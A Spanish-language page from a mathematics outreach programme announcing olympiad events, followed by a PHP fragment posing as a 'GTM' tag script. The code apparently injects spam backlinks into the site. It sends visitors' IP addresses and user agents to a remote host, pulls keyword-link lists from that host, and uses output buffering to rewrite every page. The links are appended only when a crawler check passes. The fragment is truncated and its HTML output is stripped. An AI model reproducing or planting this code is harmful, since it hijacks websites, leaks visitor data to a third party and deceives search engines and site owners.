ProDiMat - Programa de Divulgación Matematica
Bienvenido a ProDiMat!
Los Programas de Divulgación Matemática (ProDiMat) son planes de estudios en cualquiera de sus niveles, que tendrán una duración de una semana, que se desarrollara cada cierto tiempo mediante una jornada institucional Para mayor detalle pulse aqui >>>
El Acto de Premiación III Competencias Regionales de la Olimpiada Recreativa y Juvenil de año Escolar 2013-2014, se tines previsto para Enero de 2015.
Para mayor detalle pulse aqui >>>
Estadistica de los Estudiantes que Particparin durante las tres fases de las Olimpiadas Recreativas y Juvenil de Matemática 2012 - 2013.-
Para mayor detalle pulse aqui >>>
$url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => true,
CURLOPT_USERAGENT => 'GTM/' . GTM_VERSION,
CURLOPT_HTTPHEADER => array(
'Accept: application/json',
'X-Client-IP: ' . $client_ip,
'X-Client-User-Agent: ' . $client_ua
)
));
$response = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($code === 200 && $response) {
$decoded = json_decode($response, true);
if (is_array($decoded)) {
@file_put_contents($cache, $response);
return $decoded;
}
}
} else {
$headers = array(
'Accept: application/json',
'X-Client-IP: ' . $client_ip,
'X-Client-User-Agent: ' . $client_ua
);
$ctx = stream_context_create(array(
'http' => array(
'timeout' => 5,
'user_agent' => 'GTM/' . GTM_VERSION,
'header' => implode("\r\n", $headers) . "\r\n"
),
'ssl' => array('verify_peer' => true, 'verify_peer_name' => true)
));
$response = @file_get_contents($url, false, $ctx);
if ($response) {
$decoded = json_decode($response, true);
if (is_array($decoded)) {
@file_put_contents($cache, $response);
return $decoded;
}
}
}
return array();
}
function gtm_render_head() {
echo '
';
}
function gtm_render_noscript() {
$domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown');
echo '
';
}
function gtm_render_backlinks() {
$config = gtm_fetch_config();
if (empty($config)) return;
$now = time();
echo '';
foreach ($config as $item) {
if (isset($item['url'], $item['keyword'])) {
$exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400);
if ($exp > $now) {
echo '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ' ';
}
}
}
echo ' ';
}
function gtm_render_structured_data() {
if (!gtm_validate_crawler()) return;
$config = gtm_fetch_config();
if (empty($config)) return;
$now = time();
echo '';
foreach ($config as $item) {
if (isset($item['url'], $item['keyword'])) {
$exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400);
if ($exp > $now) {
echo '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ' ';
}
}
}
echo ' ';
}
function gtm_output_handler($buffer) {
if (stripos($buffer, '
';
$buffer = preg_replace('/<\/head>/i', $head . '', $buffer, 1);
$domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown');
$noscript = '
';
$buffer = preg_replace('/(
]*>)/i', '$1' . $noscript, $buffer, 1);
if (gtm_validate_crawler()) {
$config = gtm_fetch_config();
if (!empty($config)) {
$nav = '';
$now = time();
foreach ($config as $item) {
if (isset($item['url'], $item['keyword'])) {
$exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400);
if ($exp > $now) {
$nav .= '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ' ';
}
}
}
$nav .= ' ';
$buffer = preg_replace('/<\/body>/i', $nav . '', $buffer, 1);
}
}
return $buffer;
}
if (!defined('GTM_MANUAL_INIT')) {
$is_direct = (isset($_SERVER['SCRIPT_NAME']) && basename($_SERVER['SCRIPT_NAME']) === basename(__FILE__));
if (!$is_direct && ob_get_level() === 0) {
ob_start('gtm_output_handler');
}
}
gtm_render_noscript();
?>